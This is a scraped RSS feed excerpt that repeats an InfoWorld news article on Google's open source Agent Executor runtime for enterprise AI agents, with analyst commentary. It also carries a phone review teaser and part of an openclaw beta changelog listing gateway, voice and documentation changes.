<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Google has introduced <a href="https://github.com/google/ax" target="_blank" rel="noreferrer noopener">Agent Executor</a>, an open source runtime aimed at helping enterprises run AI agents more reliably at scale, as attention shifts from building agent prototypes to managing the operational challenges of putting them into production.</p>



<p>To address those production-related challenges, the <a href="https://www.infoworld.com/article/4158536/the-agent-tier-rethinking-runtime-architecture-for-context-driven-enterprise-workflows.html" target="_blank">runtime</a>, according to the company, comes with capabilities that are geared towards supporting long-running and distributed agent workflows.</p>



<p>Typically, long-running agent workflows are AI-driven tasks that execute over extended periods, from minutes to days, often involving multiple steps, system interactions, pauses for human input, or recovery from interruptions before reaching completion.</p>



<p>For such workloads, the runtime includes support for durable execution, allowing workflows to resume after outages or human approvals, along with secure sandboxing for isolating agent components, session consistency controls for distributed workflows, and connection recovery features intended to preserve execution state during network interruptions, Google wrote in a <a href="https://cloud.google.com/blog/products/ai-machine-learning/agent-executor-googles-distributed-agent-runtime/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p>The runtime also supports “trajectory branching,” which allows developers to test alternate execution paths from saved checkpoints without losing prior context, it added.</p>



<p>Furthermore, Agent Executor bridges multiple deployment models, including on prem and pre-built or custom managed agents, the company said, allowing users to mix and match between any or all of Google <a href="https://www.infoworld.com/article/4175416/google-to-unify-ai-coding-tools-under-antigravity.html" target="_blank">Antigravity</a>, frontier agents built by Google, agents built by the user and managed by Google, and custom agents and agents using <a href="https://www.infoworld.com/article/4088217/what-is-a2a-how-the-agent-to-agent-protocol-enables-autonomous-collaboration.html" target="_blank">Agent2Agent</a> (A2A) protocol, as desired.</p>



<h2 class="wp-block-heading">Targeting production reliability gaps</h2>



<p>Analysts and experts see value for both developers and enterprises in Agent Executor’s capabilities.</p>



<p>“Durability, orchestration, and resumability are the real blockers for any enterprise production agents,” said <a href="https://www.linkedin.com/in/advaitpatel93" target="_blank" rel="noreferrer noopener">Advait Patel</a>, senior reliability engineer (<a href="https://www.infoworld.com/article/2257232/what-is-an-sre-the-vital-role-of-the-site-reliability-engineer.html" target="_blank">SRE</a>) at Broadcom.</p>



<p>“What kills enterprise adoption is agents that lose their state when a pod restarts, sessions that corrupt under concurrent writes, or long running workflows that cannot recover from a network blip. Once your agent is taking actions on real systems, you cannot afford it to forget what it did halfway through,” he pointed out.</p>



<p>“The event log, snapshotting, single writer model, and connection recovery in Agent Executor are exactly the things SRE teams have been duct taping for the last year,” Patel noted, adding that existing frameworks such as <a href="https://www.infoworld.com/article/2334784/what-is-langchain-easier-development-of-llm-applications.html" target="_blank">LangChain</a> and AutoGen are great for prototyping, but more often than not fall apart in production once agents run for hours or days.</p>



<p>For CIOs, said <a href="https://www.linkedin.com/in/gaurav-dewan-pmp-8644a19/" target="_blank" rel="noreferrer noopener">Gaurav Dewan</a>, research director at Avasant, the runtime’s operational safeguards such as secure sandboxing, and checkpointing could prove just as significant for incident analysis and auditability.</p>



<p>At the same time, he cautioned that the runtime’s capabilities alone do not solve the broader governance and oversight challenges that CIOs continue to face with enterprise AI deployments.</p>



<p> “Issues such as accountability, explainability of agent decisions, policy enforcement, and secure access across interconnected systems are still evolving,” he said. “As a result, while distributed runtimes can strengthen the operational backbone of agent deployments, CIO-level considerations around trust, compliance, and enterprise control are likely to require additional governance and oversight layers beyond runtime infrastructure alone.”</p>



<h2 class="wp-block-heading">Using infrastructure layer to gain strategic advantage</h2>



<p>Google, however, is not alone in trying to shape the emerging infrastructure layer for enterprise AI agents. Other hyperscalers, such as <a href="https://www.infoworld.com/article/3833938/whats-next-for-microsofts-semantic-kernel.html" target="_blank">Microsoft, with AutoGen</a> and <a href="https://www.infoworld.com/article/4143387/running-agents-with-amazon-bedrock-agentcore.html" target="_blank">AWS, with Bedrock AgentCore</a>, are promoting open or interoperable frameworks to gain strategic advantage.</p>



<p>“There are growing indications that hyperscalers are converging toward a model that combines open or interoperable tooling at the top of the stack with monetization concentrated in underlying infrastructure layers,” Dewan said.</p>



<p>“Google, Microsoft, and AWS are increasingly offering SDKs, agent frameworks, and orchestration tools to drive developer adoption and ecosystem growth, while continuing to generate value through compute infrastructure, managed AI platforms, data services, and observability capabilities,” he added.</p>



<p>And, according to Patel, Google’s strategy around Agent Executor is reminiscent of the path that the hyperscaler followed with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" target="_blank">Kubernetes</a> ten years ago: “Give away the runtime, [and] drive consumption on Google Cloud via services, such as the Gemini Enterprise Agent Platform and Managed Agents API.”</p>



<p>He added, “[hyperscalers] have figured out that proprietary agent frameworks will not get adopted at enterprise scale. The money is in cloud consumption, managed services, and model inference. The tools on top need to be open or nobody will trust them.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google adds open source Agent Executor to support AI agents in production]]></title>
<description><![CDATA[Google has introduced Agent Executor, an open source runtime aimed at helping enterprises run AI agents more reliably at scale, as attention shifts from building agent prototypes to managing the operational challenges of putting them into production.



To address those production-related challen...]]></description>
<link>https://tsecurity.de/de/3546202/ai-nachrichten/google-adds-open-source-agent-executor-to-support-ai-agents-in-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546202/ai-nachrichten/google-adds-open-source-agent-executor-to-support-ai-agents-in-production/</guid>
<pubDate>Mon, 25 May 2026 20:48:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Google has introduced <a href="https://github.com/google/ax" target="_blank" rel="noreferrer noopener">Agent Executor</a>, an open source runtime aimed at helping enterprises run AI agents more reliably at scale, as attention shifts from building agent prototypes to managing the operational challenges of putting them into production.</p>



<p>To address those production-related challenges, the <a href="https://www.infoworld.com/article/4158536/the-agent-tier-rethinking-runtime-architecture-for-context-driven-enterprise-workflows.html" target="_blank">runtime</a>, according to the company, comes with capabilities that are geared towards supporting long-running and distributed agent workflows.</p>



<p>Typically, long-running agent workflows are AI-driven tasks that execute over extended periods, from minutes to days, often involving multiple steps, system interactions, pauses for human input, or recovery from interruptions before reaching completion.</p>



<p>For such workloads, the runtime includes support for durable execution, allowing workflows to resume after outages or human approvals, along with secure sandboxing for isolating agent components, session consistency controls for distributed workflows, and connection recovery features intended to preserve execution state during network interruptions, Google wrote in a <a href="https://cloud.google.com/blog/products/ai-machine-learning/agent-executor-googles-distributed-agent-runtime/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p>The runtime also supports “trajectory branching,” which allows developers to test alternate execution paths from saved checkpoints without losing prior context, it added.</p>



<p>Furthermore, Agent Executor bridges multiple deployment models, including on prem and pre-built or custom managed agents, the company said, allowing users to mix and match between any or all of Google <a href="https://www.infoworld.com/article/4175416/google-to-unify-ai-coding-tools-under-antigravity.html" target="_blank">Antigravity</a>, frontier agents built by Google, agents built by the user and managed by Google, and custom agents and agents using <a href="https://www.infoworld.com/article/4088217/what-is-a2a-how-the-agent-to-agent-protocol-enables-autonomous-collaboration.html" target="_blank">Agent2Agent</a> (A2A) protocol, as desired.</p>



<h2 class="wp-block-heading">Targeting production reliability gaps</h2>



<p>Analysts and experts see value for both developers and enterprises in Agent Executor’s capabilities.</p>



<p>“Durability, orchestration, and resumability are the real blockers for any enterprise production agents,” said <a href="https://www.linkedin.com/in/advaitpatel93" target="_blank" rel="noreferrer noopener">Advait Patel</a>, senior reliability engineer (<a href="https://www.infoworld.com/article/2257232/what-is-an-sre-the-vital-role-of-the-site-reliability-engineer.html" target="_blank">SRE</a>) at Broadcom.</p>



<p>“What kills enterprise adoption is agents that lose their state when a pod restarts, sessions that corrupt under concurrent writes, or long running workflows that cannot recover from a network blip. Once your agent is taking actions on real systems, you cannot afford it to forget what it did halfway through,” he pointed out.</p>



<p>“The event log, snapshotting, single writer model, and connection recovery in Agent Executor are exactly the things SRE teams have been duct taping for the last year,” Patel noted, adding that existing frameworks such as <a href="https://www.infoworld.com/article/2334784/what-is-langchain-easier-development-of-llm-applications.html" target="_blank">LangChain</a> and AutoGen are great for prototyping, but more often than not fall apart in production once agents run for hours or days.</p>



<p>For CIOs, said <a href="https://www.linkedin.com/in/gaurav-dewan-pmp-8644a19/" target="_blank" rel="noreferrer noopener">Gaurav Dewan</a>, research director at Avasant, the runtime’s operational safeguards such as secure sandboxing, and checkpointing could prove just as significant for incident analysis and auditability.</p>



<p>At the same time, he cautioned that the runtime’s capabilities alone do not solve the broader governance and oversight challenges that CIOs continue to face with enterprise AI deployments.</p>



<p> “Issues such as accountability, explainability of agent decisions, policy enforcement, and secure access across interconnected systems are still evolving,” he said. “As a result, while distributed runtimes can strengthen the operational backbone of agent deployments, CIO-level considerations around trust, compliance, and enterprise control are likely to require additional governance and oversight layers beyond runtime infrastructure alone.”</p>



<h2 class="wp-block-heading">Using infrastructure layer to gain strategic advantage</h2>



<p>Google, however, is not alone in trying to shape the emerging infrastructure layer for enterprise AI agents. Other hyperscalers, such as <a href="https://www.infoworld.com/article/3833938/whats-next-for-microsofts-semantic-kernel.html" target="_blank">Microsoft, with AutoGen</a> and <a href="https://www.infoworld.com/article/4143387/running-agents-with-amazon-bedrock-agentcore.html" target="_blank">AWS, with Bedrock AgentCore</a>, are promoting open or interoperable frameworks to gain strategic advantage.</p>



<p>“There are growing indications that hyperscalers are converging toward a model that combines open or interoperable tooling at the top of the stack with monetization concentrated in underlying infrastructure layers,” Dewan said.</p>



<p>“Google, Microsoft, and AWS are increasingly offering SDKs, agent frameworks, and orchestration tools to drive developer adoption and ecosystem growth, while continuing to generate value through compute infrastructure, managed AI platforms, data services, and observability capabilities,” he added.</p>



<p>And, according to Patel, Google’s strategy around Agent Executor is reminiscent of the path that the hyperscaler followed with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" target="_blank">Kubernetes</a> ten years ago: “Give away the runtime, [and] drive consumption on Google Cloud via services, such as the Gemini Enterprise Agent Platform and Managed Agents API.”</p>



<p>He added, “[hyperscalers] have figured out that proprietary agent frameworks will not get adopted at enterprise scale. The money is in cloud consumption, managed services, and model inference. The tools on top need to be open or nobody will trust them.”</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4176801/google-adds-open-source-agent-executor-to-support-ai-agents-in-production.html" target="_blank">InfoWorld</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google adds open source Agent Executor to support AI agents in production]]></title>
<description><![CDATA[Google has introduced Agent Executor, an open source runtime aimed at helping enterprises run AI agents more reliably at scale, as attention shifts from building agent prototypes to managing the operational challenges of putting them into production.



To address those production-related challen...]]></description>
<link>https://tsecurity.de/de/3546201/it-nachrichten/google-adds-open-source-agent-executor-to-support-ai-agents-in-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546201/it-nachrichten/google-adds-open-source-agent-executor-to-support-ai-agents-in-production/</guid>
<pubDate>Mon, 25 May 2026 20:47:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Google has introduced <a href="https://github.com/google/ax" target="_blank" rel="nofollow">Agent Executor</a>, an open source runtime aimed at helping enterprises run AI agents more reliably at scale, as attention shifts from building agent prototypes to managing the operational challenges of putting them into production.</p>



<p>To address those production-related challenges, the <a href="https://www.infoworld.com/article/4158536/the-agent-tier-rethinking-runtime-architecture-for-context-driven-enterprise-workflows.html" target="_blank">runtime</a>, according to the company, comes with capabilities that are geared towards supporting long-running and distributed agent workflows.</p>



<p>Typically, long-running agent workflows are AI-driven tasks that execute over extended periods, from minutes to days, often involving multiple steps, system interactions, pauses for human input, or recovery from interruptions before reaching completion.</p>



<p>For such workloads, the runtime includes support for durable execution, allowing workflows to resume after outages or human approvals, along with secure sandboxing for isolating agent components, session consistency controls for distributed workflows, and connection recovery features intended to preserve execution state during network interruptions, Google wrote in a <a href="https://cloud.google.com/blog/products/ai-machine-learning/agent-executor-googles-distributed-agent-runtime/" target="_blank" rel="nofollow">blog post</a>.</p>



<p>The runtime also supports “trajectory branching,” which allows developers to test alternate execution paths from saved checkpoints without losing prior context, it added.</p>



<p>Furthermore, Agent Executor bridges multiple deployment models, including on prem and pre-built or custom managed agents, the company said, allowing users to mix and match between any or all of Google <a href="https://www.infoworld.com/article/4175416/google-to-unify-ai-coding-tools-under-antigravity.html" target="_blank">Antigravity</a>, frontier agents built by Google, agents built by the user and managed by Google, and custom agents and agents using <a href="https://www.infoworld.com/article/4088217/what-is-a2a-how-the-agent-to-agent-protocol-enables-autonomous-collaboration.html" target="_blank">Agent2Agent</a> (A2A) protocol, as desired.</p>



<h2 class="wp-block-heading">Targeting production reliability gaps</h2>



<p>Analysts and experts see value for both developers and enterprises in Agent Executor’s capabilities.</p>



<p>“Durability, orchestration, and resumability are the real blockers for any enterprise production agents,” said <a href="https://www.linkedin.com/in/advaitpatel93" target="_blank" rel="nofollow">Advait Patel</a>, senior reliability engineer (<a href="https://www.infoworld.com/article/2257232/what-is-an-sre-the-vital-role-of-the-site-reliability-engineer.html" target="_blank">SRE</a>) at Broadcom.</p>



<p>“What kills enterprise adoption is agents that lose their state when a pod restarts, sessions that corrupt under concurrent writes, or long running workflows that cannot recover from a network blip. Once your agent is taking actions on real systems, you cannot afford it to forget what it did halfway through,” he pointed out.</p>



<p>“The event log, snapshotting, single writer model, and connection recovery in Agent Executor are exactly the things SRE teams have been duct taping for the last year,” Patel noted, adding that existing frameworks such as <a href="https://www.infoworld.com/article/2334784/what-is-langchain-easier-development-of-llm-applications.html" target="_blank">LangChain</a> and AutoGen are great for prototyping, but more often than not fall apart in production once agents run for hours or days.</p>



<p>For CIOs, said <a href="https://www.linkedin.com/in/gaurav-dewan-pmp-8644a19/" target="_blank" rel="nofollow">Gaurav Dewan</a>, research director at Avasant, the runtime’s operational safeguards such as secure sandboxing, and checkpointing could prove just as significant for incident analysis and auditability.</p>



<p>At the same time, he cautioned that the runtime’s capabilities alone do not solve the broader governance and oversight challenges that CIOs continue to face with enterprise AI deployments.</p>



<p> “Issues such as accountability, explainability of agent decisions, policy enforcement, and secure access across interconnected systems are still evolving,” he said. “As a result, while distributed runtimes can strengthen the operational backbone of agent deployments, CIO-level considerations around trust, compliance, and enterprise control are likely to require additional governance and oversight layers beyond runtime infrastructure alone.”</p>



<h2 class="wp-block-heading">Using infrastructure layer to gain strategic advantage</h2>



<p>Google, however, is not alone in trying to shape the emerging infrastructure layer for enterprise AI agents. Other hyperscalers, such as <a href="https://www.infoworld.com/article/3833938/whats-next-for-microsofts-semantic-kernel.html" target="_blank">Microsoft, with AutoGen</a> and <a href="https://www.infoworld.com/article/4143387/running-agents-with-amazon-bedrock-agentcore.html" target="_blank">AWS, with Bedrock AgentCore</a>, are promoting open or interoperable frameworks to gain strategic advantage.</p>



<p>“There are growing indications that hyperscalers are converging toward a model that combines open or interoperable tooling at the top of the stack with monetization concentrated in underlying infrastructure layers,” Dewan said.</p>



<p>“Google, Microsoft, and AWS are increasingly offering SDKs, agent frameworks, and orchestration tools to drive developer adoption and ecosystem growth, while continuing to generate value through compute infrastructure, managed AI platforms, data services, and observability capabilities,” he added.</p>



<p>And, according to Patel, Google’s strategy around Agent Executor is reminiscent of the path that the hyperscaler followed with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" target="_blank">Kubernetes</a> ten years ago: “Give away the runtime, [and] drive consumption on Google Cloud via services, such as the Gemini Enterprise Agent Platform and Managed Agents API.”</p>



<p>He added, “[hyperscalers] have figured out that proprietary agent frameworks will not get adopted at enterprise scale. The money is in cloud consumption, managed services, and model inference. The tools on top need to be open or nobody will trust them.”</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4176801/google-adds-open-source-agent-executor-to-support-ai-agents-in-production.html" target="_blank">InfoWorld</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘An impressive phone that punches above its price’ — I tested the Honor 600 and was blown away by its blazing display, epic battery life, and occasionally uncanny AI]]></title>
<description><![CDATA[I tested Honor’s AI-packed mid-range phone and was impressed (and occasionally unnerved) by its powerful features.]]></description>
<link>https://tsecurity.de/de/3545494/it-nachrichten/an-impressive-phone-that-punches-above-its-price-i-tested-the-honor-600-and-was-blown-away-by-its-blazing-display-epic-battery-life-and-occasionally-uncanny-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3545494/it-nachrichten/an-impressive-phone-that-punches-above-its-price-i-tested-the-honor-600-and-was-blown-away-by-its-blazing-display-epic-battery-life-and-occasionally-uncanny-ai/</guid>
<pubDate>Mon, 25 May 2026 14:02:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I tested Honor’s AI-packed mid-range phone and was impressed (and occasionally unnerved) by its powerful features.]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.24-beta.2]]></title>
<description><![CDATA[2026.5.24
Changes

iMessage: support thumb-approval reactions — 👍 (Like tapback) resolves an approval as allow-once and 👎 resolves as deny, with the explicit-approver allowlist read from channels.imessage.allowFrom; allow-always stays on the manual /approve  allow-always text fallback. Mirrors th...]]></description>
<link>https://tsecurity.de/de/3544401/downloads/openclaw-2026524-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544401/downloads/openclaw-2026524-beta2/</guid>
<pubDate>Mon, 25 May 2026 02:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.24</h2>
<h3>Changes</h3>
<ul>
<li>iMessage: support thumb-approval reactions — <code>👍</code> (Like tapback) resolves an approval as <code>allow-once</code> and <code>👎</code> resolves as <code>deny</code>, with the explicit-approver allowlist read from <code>channels.imessage.allowFrom</code>; <code>allow-always</code> stays on the manual <code>/approve &lt;id&gt; allow-always</code> text fallback. Mirrors the WhatsApp behavior from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>.</li>
<li>Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.</li>
<li>Gateway/perf: cache stable install-record, channel-catalog, bundled-channel, and Telegram session-store metadata during process-local hot paths to reduce repeated JSON and manifest reads.</li>
<li>Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.</li>
<li>Talk/realtime: let WebUI and Discord voice callers ask for active OpenClaw run status, cancel, steer, or queue follow-up work while a consult is still running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479342391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84231/hovercard" href="https://github.com/openclaw/openclaw/pull/84231">#84231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Discord/voice: add realtime wake-name gating with agent-name defaults and raise profile bootstrap context budget for longer <code>USER.md</code>/<code>SOUL.md</code> files.</li>
<li>Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.</li>
<li>Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.</li>
<li>Image tool: add adaptive model-aware image compression with an <code>agents.defaults.imageQuality</code> preference for choosing token-efficient, balanced, or high-detail media handling.</li>
<li>Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only <code>openclaw meeting-notes</code> CLI access, and Discord voice as the first live source.</li>
<li>Meeting Notes/Discord: release channel account startup before meeting-notes auto-capture, wait for the Discord voice manager during gateway boot, and stop plugin services before channel shutdown so voice capture state remains available during startup and cleanup.</li>
<li>Docs/channels/config: add Signal <code>configPath</code>, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NorseGaud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NorseGaud">@NorseGaud</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yudistiraashadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yudistiraashadi">@yudistiraashadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangqian8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangqian8">@huangqian8</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VibhorGautam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VibhorGautam">@VibhorGautam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maweibin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maweibin">@maweibin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxingleo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxingleo">@tianxingleo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgnacioPro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgnacioPro">@IgnacioPro</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xzcxzcyy-claw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xzcxzcyy-claw">@xzcxzcyy-claw</a>.</li>
<li>Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomDjerry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomDjerry">@TomDjerry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matthewxmurphy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matthewxmurphy">@matthewxmurphy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stablegenius49/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stablegenius49">@stablegenius49</a>.</li>
<li>Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zacxxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zacxxx">@Zacxxx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neyric/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neyric">@neyric</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usimic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usimic">@usimic</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Renu-Cybe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Renu-Cybe">@Renu-Cybe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BigUncle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BigUncle">@BigUncle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeashoreShi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeashoreShi">@SeashoreShi</a>.</li>
<li>Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayesha-aziz123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayesha-aziz123">@ayesha-aziz123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dishraters/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dishraters">@dishraters</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hougangdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hougangdev">@hougangdev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brandonlipman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brandonlipman">@brandonlipman</a>.</li>
<li>Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quratulain-bilal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quratulain-bilal">@Quratulain-bilal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mickey-/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mickey-">@Mickey-</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vancece/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vancece">@vancece</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xenouzik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xenouzik">@xenouzik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/posigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/posigit">@posigit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/surlymochan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/surlymochan">@surlymochan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/janaka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/janaka">@janaka</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choiking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choiking">@choiking</a>.</li>
